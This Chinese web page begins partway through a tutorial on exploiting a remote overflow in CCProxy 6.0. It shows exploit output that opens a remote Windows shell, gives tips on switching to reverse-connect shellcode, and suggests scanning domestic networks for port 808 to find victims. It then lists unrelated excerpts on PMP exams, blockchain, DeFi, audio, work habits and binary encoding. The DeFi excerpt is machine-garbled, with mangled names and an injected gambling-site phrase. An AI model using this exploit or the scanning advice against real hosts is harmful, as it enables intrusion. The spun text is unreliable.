[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
3.你的机器在内网,而攻击目标主机在外网:
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]n
请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址
[+] connecting to 210.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
我这个程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系统中可能会有所不同,需要读者自己修改。
TIPS:由于这个ShellCode里面采用了直接开端口的方法,所以如果读者朋友的攻击目标上有防火墙的话,可能会导致攻击不成功。这种情况你需要更改isno程序中的ShellCode,把它替换成反向连接的ShellCode再重新编译一遍就行了。具体方法请关注最近几期“新手学溢出”栏目。
前面提到的这种根据不同网络情况来填充不同个数的A,从而把Jmp esp地址推到函数返回地址的方法是不是最好的方法呢?我觉得可能还有更好的方法,也许利用Sprintf函数的一些内部特性就可以不用这样而写出通用的利用程序了,但是我没时间去研究这个了,如果读者有兴趣的话可以自己研究一下,如果研究出来,这也算是一项很实用的通用Exploit技术。
后来研究发现CCProxy不仅仅HTTP代理存在溢出问题,Telnet代理等一些其他调用日志函数的端口也存在同样的问题,攻击方法类似,这里就不再详细分析了。另外,CCProxy 5.x以及以前的版本虽然也存在此漏洞,但是构造字符串的方法略有不同,因此这个Exploit程序无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研究一下老版本的CCProxy,并写出Exploit程序。
结束语
这个漏洞虽然不是Windows操作系统本身的漏洞,但是CCProxy在国内还算一个比较常用的软件,因此还是有一些利用价值的。不信你可以用Super Scan之类的端口扫描器扫描国内网段的TCP 808端口,很多时候都能找到安装了CCProxy的机器。
其实写这篇文章的目的并不是教大家去利用这个漏洞黑机器,而是告诉大家一个软件漏洞从发现到跟踪调试到最后写Exploit程序的过程是怎样的,也许你也能用这种方法找到一些其它的漏洞。
推荐阅读
-
我是如何发现 CCProxy 远程溢出漏洞的?
-
996的情况下如何快速通过PMP考试?-虽然公司没有要求我考PMP证书,但我总觉得自己不是科班出身,要想走得更高更远,就必须系统地学习项目管理,于是在同事的推荐下,我报名参加了清辉的PMP培训班,口碑非常好。我的工作是996系统,考虑到公司离PMP培训地点比较远,免得来来去去需要花费大量的时间和精力,不想太累,就选择了远程班。
-
反传销网8月30日发布:视频区块链里的骗子,币里的韭菜,杜子建骂人了!金融大V周召说区块链!——“一小帮骗子玩一大帮小白,被割韭菜,小白还轮流被割,割的就是你!” 什么区块链,统统是骗子 作者:周召(知乎金融领域大V,毕业于上海财经大学,目前任职上海某股权投资基金合伙人) 有人问我,区块链现在这么火,到底是不是骗局? 我的回答是: 是骗局。而且我并不是说数字货币是骗局,而是说所有搞区块链的都是骗局。 -01- 区块链是一种鸡肋技术 人类社会任何技术的发明应用,本质都是为了提高社会的生产效率。而所谓区块链技术本质不过是几种早已成熟的技术的大杂烩,冗余且十分低效,除了提高了洗钱和诈骗的效率以外,对人类社会的进步毫无贡献。 真正意义上的区块链得包含三个要素:分布式系统(包括记账和存储),无法篡改的数据结构,以及共识算法,三者互为基础和因果,就像三体世界一样。看上去挺让人不明觉厉的,而经过几年的瞎折腾,稍微懂点区块链的碰了几次壁后都已经渐渐明白区块链其实并没有什么卵用,区块链技术已经名存实亡,沦为了营销工具和传销组织的画皮。 因为符合上述定义的、以比特币为代表的原教旨区块链技术,是反效率的,从经济学角度来说,不但不是一种帕累托改进,甚至还可以说是一种帕累托倒退。 原教旨区块链技术的效率十分低下,因为要遍历所有节点,只能做非常轻量级的数据应用,一旦涉及到大量的数据传输与更新,区块链就瞎了。 一方面整条链交易速度会极慢,另一方面数据库容量极速膨胀,考虑到人手一份的存储机制,区块链其实是对存储资源和能源的一种极大的浪费。 这里还没有加上为了取得所谓的共识和挖矿消耗的巨大的能源,如果说区块链技术是屎,那么这波区块链投机浪潮可谓人类历史上最大规模的搅屎运动。 区块链也验证不了任何东西。 所谓的智能合约,即不智能,也非合约。我看有人还说,如果有了智能合约,就可以跟老板签一份放区块链上,如果明年销售业绩提升30%,就加薪10%,由于区块链不能篡改,不能抵赖,所以老板必须得执行,说得有板有眼,不懂行的愣一看,好像还真是那么回事。 但仔细一想,问题就来了。首先,在区块链上如何证明你真的达到了30%业绩提升?即便真的达到老板耍赖如何执行? 也就是说,如果区块链真这么厉害,要法院和仲裁干什么。 人类社会真正的符合成本效益原则的是代理制度。之前有人说要用区块链改造注册会计师行业,我不知道他准备怎么设计,我猜想他思路大概是这样的,首先肯定搞去中心化,让所有会计师到链上来,然后一个新人要成为注册会计师就要所有会计师同意并记录在链上。 那我就请问了,我每天上班累死累活,为什么还要花时间去验证一个跟我无关的的人的专业能力?最优做法当然是组织一个委员会,让专门的人来负责,这不就是现在注册会师协会干的事儿吗?区块链的逻辑相当于什么事情都要拿出来公投,这个绝对是扯淡的。 当然这么说都有点抬举区块链了,区块链技术本身根本没有判断是非能力,如果这么高级的人工智能,靠一个无脑分布式记账就能实现的话,我们早就进入共产主义社会了。 虽然EOS等数字货币采用了超级节点,通过再中心化的方式提高效率,有点行业协会的意思,是对区块链原教旨主义的一种修正,但是依然无法突破区块链技术最本质的局限性。有人说,私有链和联盟链是区块链技术的未来,也是扯淡,因为区块链技术没有未来。如果有,说明他是包装成区块链的伪区块链技术。 区块链所涉及的所有底层技术,不管是分布式数据库技术,加密技术,还是点对点传输技术等,基本都是早已存在没什么秘密可言的技术。 比特币系统最重要的特性是封闭性和自洽性,他验证不了任何系统自身以外产生的信息的真实性。 所谓系统自身产生的信息,就是数据库数据的变动信息,有价值的基本上有且只有交易信息。所以说比特币最初不过是中本聪一种炫技的产物,来证明自己对几种技术的掌握,你看我多牛逼,设计出了一个像三体一样的系统。因此,数字货币很有可能是区块链从始至终唯一的杀手应用。 比特币和区块链概念从诞生到今天已经快10年了,很多人说区块链技术在爆发的前夜,但这个前夜好像是不是有点过长了啊朋友,跟三体里的长夜有一拼啊。都说区块链技术像是90年代初的互联网,可是90年代初的互联网在十年发展后,已经出现了一大批伟大的公司,阿里巴巴在99年都成立了,区块链怎么除了币还是币呢? 正规的数字货币未来发展的形式无外乎几种,要么就是论坛币形式,或者类似股票的权益凭证等。问题是论坛币和股票之前,本来也都电子化了,区块链来了到底改变了什么呢? 所有想把TOKEN和应用场景结合起来的人最后都很痛苦,最后他们会发现区块链技术就是脱裤子放屁,自己辛苦搞半天,干嘛不自己作为中心关心门来收钱?最后这些人都产生了价值的虚无感,最终精神崩溃,只能发币疯狂收割韭菜,一边嘴里还说着我是个好人之类的奇怪的话。 因此,之前币圈链圈还泾渭分明,互相瞧不起,但这两年链圈逐渐坐不住了,想着是不是趁着泡沫没彻底破灭之前赶快收割一波,不然可能什么都捞不着了。 前段时间和一个名校毕业的链圈朋友瞎聊天,他说他们“致力于用区块链技术解决数字版权保护问题”,我就问他一个问题,你们如何保证你链的版权所有权声明是真实的,万一盗版者抢先一步把数据放在链上怎么办。他说他们的解决方案是连入国家数字版权保护中心的数据库进行验证…… 所以说区块链技术就是个鸡肋,研究到最后都会落入效率与真实性的黑洞,很多人一头扎进链圈后才发现,真正意义上的区块链技术,其实什么都干不了。 -02- 不是蠢就是坏的区块链媒体 空气币和区块链的造富神话,让区块链自媒体也开始迎风乱扭。一群群根本不知道区块链为何物的妖魔鬼怪纷纷进驻区块链自媒体战场,开始大放厥词胡编乱造。 任何东西,但凡只要和区块,链,分,分布式,记账,加密,验证,可追溯等等这些个关键词沾到哪怕一点点,这些所谓的区块链媒体人就会像狗闻到了屎了一样疯狂地把区块链概念往上套。 这让我想起曾经一度也是热闹非凡的物联网,我曾经去看过江苏一家号称要改变世界的“物联网”企业,过去一看是生产路由器的,我黑人问号脸,对方解释说没有路由器万物怎么互联,我觉得他说得好有道理,竟无言以对。 好,下面让我们进入奇葩共赏析时间,来看看区城链媒体经常有哪些危言耸听的奇谈怪论 区块链(分布式记账)的典型应用是*?? 正如前面所说,真正意义上的区块链分布式记账,不光包括“记”这个动作,还包括分布式存储和共识机制等。而*诞生远远早于区块链这个词的出现,勉强算是“分布式编辑”吧,就被很多区块链媒体拿来强行充当区块链技术应用的典范。 其实事实恰恰相反,*恰恰是去中心化失败的典范,现在如果没有精英和专业人士的编辑和维护,*早就没法看了。 区块链会促进社会分工?? 罗振宇好像就说过类似的话,虽然罗振宇说过很多没有逻辑的话,但这句话绝对是最没逻辑思维的。很多区块链自媒体也常常用这句话来忽悠老百姓,说分工代表效率提高社会进步,而区块链“无疑”会促进分工,他们的理由仅仅是分工和分布式记账都共用一个“分”字,就强行把他们扯到一起。 实际情况恰恰相反,区块链是逆分工的,区块链精神是号召所有人积极地参与到他不擅长也不想掺合的事情里面去。 区块链不能像上帝一样许诺他的子民死后上天国,只能给他们许诺你们是六度人脉中的第一级,我可以赚后面五级人的钱,你处于金字塔的顶端。
-
对话NGC蔡岩:从机制创新到价值沉淀,解析DeFi产品开发逻辑 |链捕手 - 真正的DeFi产品首先要有足够的安全性和稳定性,如果能在此基础上有一些功能创新,那就非常好了。像 Uniswap 这样逐渐成为 DeFi 基础架构的产品,可遇而不可求。 链式捕手:固定利率协议之前关注度比较高,但观察下来发现,大部分协议还是类似于传统金融CDO(抵押债务凭证)的玩法,风险系数很高,您如何理解这块业务的价值和风险? 蔡岩:确实有些定息协议类似CDO玩法,背后绑定一个债券,但并不是所有的定息协议都是这样的玩法,像这种CDO玩法的主要代表项目是88mph,背后绑定的是Aave、Compoud这样的借贷协议,在此基础上做定息和浮息债券;像APWine,背后同样是Aave,它会发行期货收益代币来锁定你的收益;Notional本身是做借贷市场的,在此基础上做定息协议。 非 CDO 的玩法,比如 Horizon,更像是一个利率撮合器,背后需要用户通过拍卖产生更合适的目标收益率;像 Saffron、BarnBridge 等是通过风险分级来定义不同的收益率。总的来说,创新还是挺多的。 价值层面是创新和想象力,因为在传统金融领域,比如银行做固定收益证券,或者评级机构给风险分级,这些业务都非常大,利润也很丰厚。而 DeFi 的对口业务给了类似业务很大的想象空间。尤其是固定利率协议的成熟产品不多,尝试各种微创新是很有意义的。 风险程度还是要具体到不同的玩法,比如,在 Aave、Compoud 等借贷协议的固定利率协议背后,如果这些借贷协议受到攻击,与之绑定的固定利率协议也会受损。 同样,如果自己做借贷市场,可能更需要更强的开发能力。再有,如果该程序的机制或参数设计不当,同样会导致协议运行不稳定,并可能造成大量用户清盘。 总的来说,风险在于固定利率协议的设计,这是一个非常复杂的过程,需要不断地尝试和出错。 链式捕捉器:刚刚提到背后是Aave/Compound的固定费率协议风险较大,您认为Aave最大的不确定性和创新点分在哪里? 蔡岩:其实爱钱进一直被认为是走在行业前列的项目,他们的迭代速度非常快,比如率先尝试闪贷、推出新的经济激励模式、推出目前业内首个安全模块、尝试L2解决方案等等。 而在主要的借贷业务上,他们又十分谨慎,比如在抵押率、清算系数等风险参数的设计上相对于其他借贷协议较为保守,并不会存在为了吸引更多借贷资金而降低风险的要求。 与许多 DeFi 项目一样,即使 Aave 进行了多次审计,也无法保证不存在漏洞。前段时间,Aave 刚进入 V2 阶段时,白帽黑客就指出了某个漏洞。 之前的创新点可能是闪电借贷,这是当时业内独一无二的新产品功能,也为 Aave 带来了不少收益。当然,也有人批评闪电贷只能方便黑客实现资金效益的最大化,但工具本身并没有错,未来闪电贷肯定会有更多的应用场景。 其次是安全模块的设计,这有点像项目本身的储备金库,保障项目的安全性,这也是爱维开创的先河。说实话,目前大多数项目都没有做到代币模式的良性或正向运营,也做不到像Aave一样的安全模块,这是一个不小的门槛。 Chaincatcher从某种程度上来说,挖矿模式是DeFi财富效应的根本支撑,但Aave的CEO却说挖矿机制带来的动力是不可持续的,您怎么看这个观点? 蔡岩:"挖矿机制 "不可能失效,因为它是一种激励机制,或者说是项目冷启动的一种方式。但流动性开采亚博体育手机客户端不会一直高涨。比如去年11月的流行性挖矿高APY持续了一两个月就崩盘了,导致DeFi市场大幅回调。 Aave、Uniswap、Synthetix等项目真正爆发进入市值前15名也是在今年2月,我更倾向于这是头部DeFi长期价值的体现。虽然大家都喜欢抢高APY的矿机,但我个人很少参与挖矿,所以我并不觉得流动性挖矿是DeFi的基本面支撑。
-
视频会议场景中的空间音频--为何选择空间音频这一主题? 首先,为什么选择空间音频这一主题?我在视频会议领域工作了近二十年,我们的目标一直是让声音更清晰、视频更清晰。但在过去的 20 年中,视频会议的产品形态并没有发生本质的变化。去年元宇宙比较火,微软、Facebook都在做基于VR和元宇宙的企业协作研究,我们也进行了这方面的探索。 一开始,我们想从纯技术角度研究空间音频技术如何应用于视频会议场景,但在研究过程中,我们发现这是一个非常复杂的场景。因为视频会议本质上是人与人之间的交流。人与人之间的沟通是多维度的信息传递,声音、图像、眼神、肢体语言、触觉都是人与人之间沟通的要素,音频只是其中之一。本次分享从沟通与交流的角度,从视频会议的应用场景出发,分析视频会议产品需要什么样的空间音频技术以及如何实现。 02 空间音频与沉浸式交流
-
刘韧工作手册(2023年版)-17 共同学习,共同进步,搭建共识。一起工作的基础,是对彼此能力的认可,继续一起工作的基础,是能力的共同提高。共同进步的基础,就是共同学习,共同学习的基础,是看过同样的书。 年轻时,男女谈恋爱,双方世界观趋同,差距不大。后来,世界观逐渐拉大,对话成了鸡同鸭讲,我讲,你听不懂。你讲,我不感兴趣,甚至闹离婚,双方自然而然走不下去了。工作也一样,同事间如果差距越来越大,最终,无法一起工作。 我为了和别人搭建共识,会处心积虑向其推荐读书。听什么歌,观什么电影,看什么书,能在一定程度了解一个人。 有人说,金庸的书是文学。我说,那是娱乐。文学是“真、善、美”,首先是要“真”,就是情感真实。而在金庸的小说里,类似“九阴真经”、“葵花宝典”的秘籍是假的,小说里的人物寻得秘籍,一夜之间就能武功猛增……这样的情节,在现实中可能吗?生活中,漂亮的富家女黄蓉会爱上傻小子郭靖吗?金庸看多了,人会追求走捷径,工作生活“走捷径”会害死自己。 18 礼物,是人际交往中的情感润滑剂。互相送礼物,增进感情。不知道买什么,就买吃的。 英国人做客,会送主人红酒、鲜花和小卡片,回家后,会写感谢信。在新加坡,朋友们来家,常带些做好的熟食,大家一起吃。 2000年,我听说谷歌在办公室给员工备吃的。当时不太理解,后来才知道,“在一起吃”这个行为,有助于消除紧张和敌意,人更容易感到温暖和轻松,更愿意敞开心扉,是社交中增进感情的好方式之一。脸书新加坡总部,午餐,公司会请高级厨师做六种风格的菜,每一道菜都做的极好,甚至比五星级酒店的饭菜都好吃。他们的员工告诉我,根本不想回家,就想在公司吃饭。 19 坦诚,不装懂,打破沙锅问到底。想当然半天,不如简单试一下。要学会积攒各种低成本测试方法,并勤快地去试。超大额跨国汇款,先汇1元,测试路径是否畅通。没有招,没有策略库,一筹莫展。 有句古话,叫“以其昏昏,使人昭昭”。很多人对“学而优则仕”这句话的理解,是典型的“以其昏昏,使人昭昭”。这句话常被人解释为“学习好了就去当官”,若照此解释,下一句“仕而优则学”只能解释为“当官当好了就去学习”!这显然说不通。这里的“优”,不是“优秀”,而是“空闲”的意思。很多人不清楚,却到处教人解释这句话。 《水浒传》是中国版的黑帮小说,讲的是厚黑学,没有道德底线。梁山人为了拉扈三娘入伙,杀光了她全家,把原本是千金小姐,花容月貌的扈三娘指婚丑陋的王英。直到今天,《水浒传》常被解释为“侠义”。 在群里,遇到信口雌黄国学的人,我会问他们,论语中,第一句话“学而时习之不亦说乎”中的“习”是什么意思?很多人解释为“复习”。其实,繁体字中,“习”的写法是“習”,下面一个“白”,上面一个“羽”,指的是“雏鸟学飞”。意思是,雏鸟利用老鸟教的技巧,终于飞起来了。因此,“习”的本意是指老师手把手把心得教给你,让你学会了,有了收获和进步,绝不是指反复“复习”和“练习”的意思。 维特根斯坦说:“凡是可说的就要说清楚,凡是不可说的就该保持沉默。”别不懂装懂。 20 善待帮助你的人。一个人能否成功,要看有没有人愿意帮你。有多大成功,要看有多少人愿意帮你。 别人发现你出错了,提醒你,这些都是你所能得到的“举手之劳”的帮助,你知道了,能改掉,你容易成长。 如何做一个有很多人愿意帮你的人呢? 首先,滴水之恩,当涌泉相报。每次收到礼物,我一定会表示感谢。 其次,得到帮助,一定要反馈。很多帮助不一定非得要你用物质来交换,可能仅仅是你要领情。我会记录所有受到的帮助,并广而告之。我写书时,会把帮助我的人都列举出来,这样做成本不高,但被提到的人会感动。 你们可以回忆一下,有多少人帮过你?如果脱口说出的人数越多,说明你离成功越近。要是发现世界上,愿意帮你的人只有父母,那就要反思了。(完) 刘韧商业写作通识
-
数的机器码表示:原码、反码、补码、变形补码、移码和浮点数编码-数学定义:例:+111的原码为0111,-101的原码为1101 (2) 纯小数的原码表示 纯小数的原码首位同样为符号位,后面的数值则表示小数的尾数,纯小数的整数位为默认为0无需表示。 例:+0.111的原码为0111,-0.101的原码为1101 可以看到,+111和+0.111的原码同为0111,这是因为约定的小数点位置不同,整数的原码的小数点约定在末尾,纯小数的原码的小数点约定在数值的最前面,这样通过约定小数点的位置来表示数的方法就称为定点数表示法,约定小数点位置实际上就是约定编码中每一位的权重。 二、反码 正数的反码与其原码相同。 负数的反码是其对应原码的符号位不变,数值位按位取反。 数学定义:例: 真值 +111 -101 +0.111 -0.101 原码 0111 1101 0111 1101 反码 0111 1010 0111 1010 三、补码 原码虽然转换很简单,但是在做减法时操作很复杂(减不够还要借位),因此计算机在做加负数操作时会先将负数的原码转换为补码再做加法。 先举个栗子,假设时钟现在是9点钟,我把时针往回拨3个小时是6点钟,或者顺时针往后拨9个小时还是6点钟,也就是说9-3的结果等同于9+9(mod 12),对于模数12,-3的补码为+9,这就引申出了一种将减法转换为加法的思想,把减去一个正数视为加上一个负数(例如9+(-3)),再将负数转换为对应的补码,最后就可以和补码做加法了,若结果超出了模数则丢弃一个模数即可。 如图所示:9减去灰色的部分(-3)就等同于加上蓝色的部分,即-3的补码即为蓝色部分的长度9(mod 12)。即补码=模数+真值(超出模数则舍弃一个模数) (1) 整数的补码表示 对于一个n位的二进制真值x,则取模数为2^(n+1),若x为正数则补码和原码相同(加上一个模数又需舍弃一个模数 故相同),若为负数则补码为模数加上x。相对于原码,补码这里的首位就不仅代表原数真值的符号了,也是补码自己的一个数值位。 取模数为2^(n+1)是因为在需要舍弃模数时只需要舍弃运算结果(二进制数)的最高位即可,这在计算机中很容易实现 数学定义:例:三位二进制数的模数2^4就是10000,故+111的补码为0111(即10000 + 111 = 0111 (舍弃模数位)),-101的补码为1011(即10000 - 101 = 1011) 补码运算示例:那么+111 - 101 = +111 + (-101) = 0111 + 1011 = 10010,运算结果只保留后四位(即舍弃模数位),故计算结果为0010。这样就通过加法实现了减法运算。 补码可表示数据范围:由数学定义可知,n位二进制补码可表示的数据范围为 -2n-1~2n-1-1。以8位的byte类型数为例,可表示的数据范围为 -27~27-1,即-128至+127,最小负数-128(补码:1000 0000),最大负数-1(补码:1111 1111),0(补码:0000 0000),最小正数1(补码:0000 0001),最大正数127(补码:0111 1111)。 由补码求真值:正数的补码即为原码即为真值,负数的真值由计算规则可知 负数真值= - (模数 - 补码),以补码1111 1111为例,其真值 = - (1 0000 0000 - 1111 1111) = - 0000 0001 = -1 (2) 纯小数的补码表示 对于一个纯小数x,则取模数为2^1,正数的补码和原码相同,负数的补码为模数2加上x。同样补码的首位不仅代表原数真值的符号,也是补码的数值位。 数学定义:例:纯小数的模数2就是10,故+0.111的补码为0111,-0.101的补码为1011(小数点约定在符号位后) 计算机中求补码的规则 可以注意到求负数的补码时还是要做减法,这在计算机中就很不方便了,但是通过其数学定义可以看到无论是整数还是纯小数,负数的补码都等于反码的末尾加1,而这又等同于原码数值位从右向左遇到第一个1后,这个1左边的数值位都按位取反,故实际计算机中求补码的规则如下:正数的补码等于原码负数的补码等于原码的数值位从右向左的第一个1左边的所有数值位按位取反(例:byte类型值-6的原码为1000 0110,则其补码为1111 1010) 四、变形补码 两个补码在运算时可能会溢出从而产生错误的结果,比如0111+0101 = 1100,两个正数相加反而得到了一个负数,那么在计算机中要如何判断运算结果是否溢出了呢,这就引申出了变形补码。从直观上看,相对于补码来说变形补码就是用两位来表示符号位,00表示正数,11表示负数。运算结果符号位为01表示正溢出,10表示负溢出。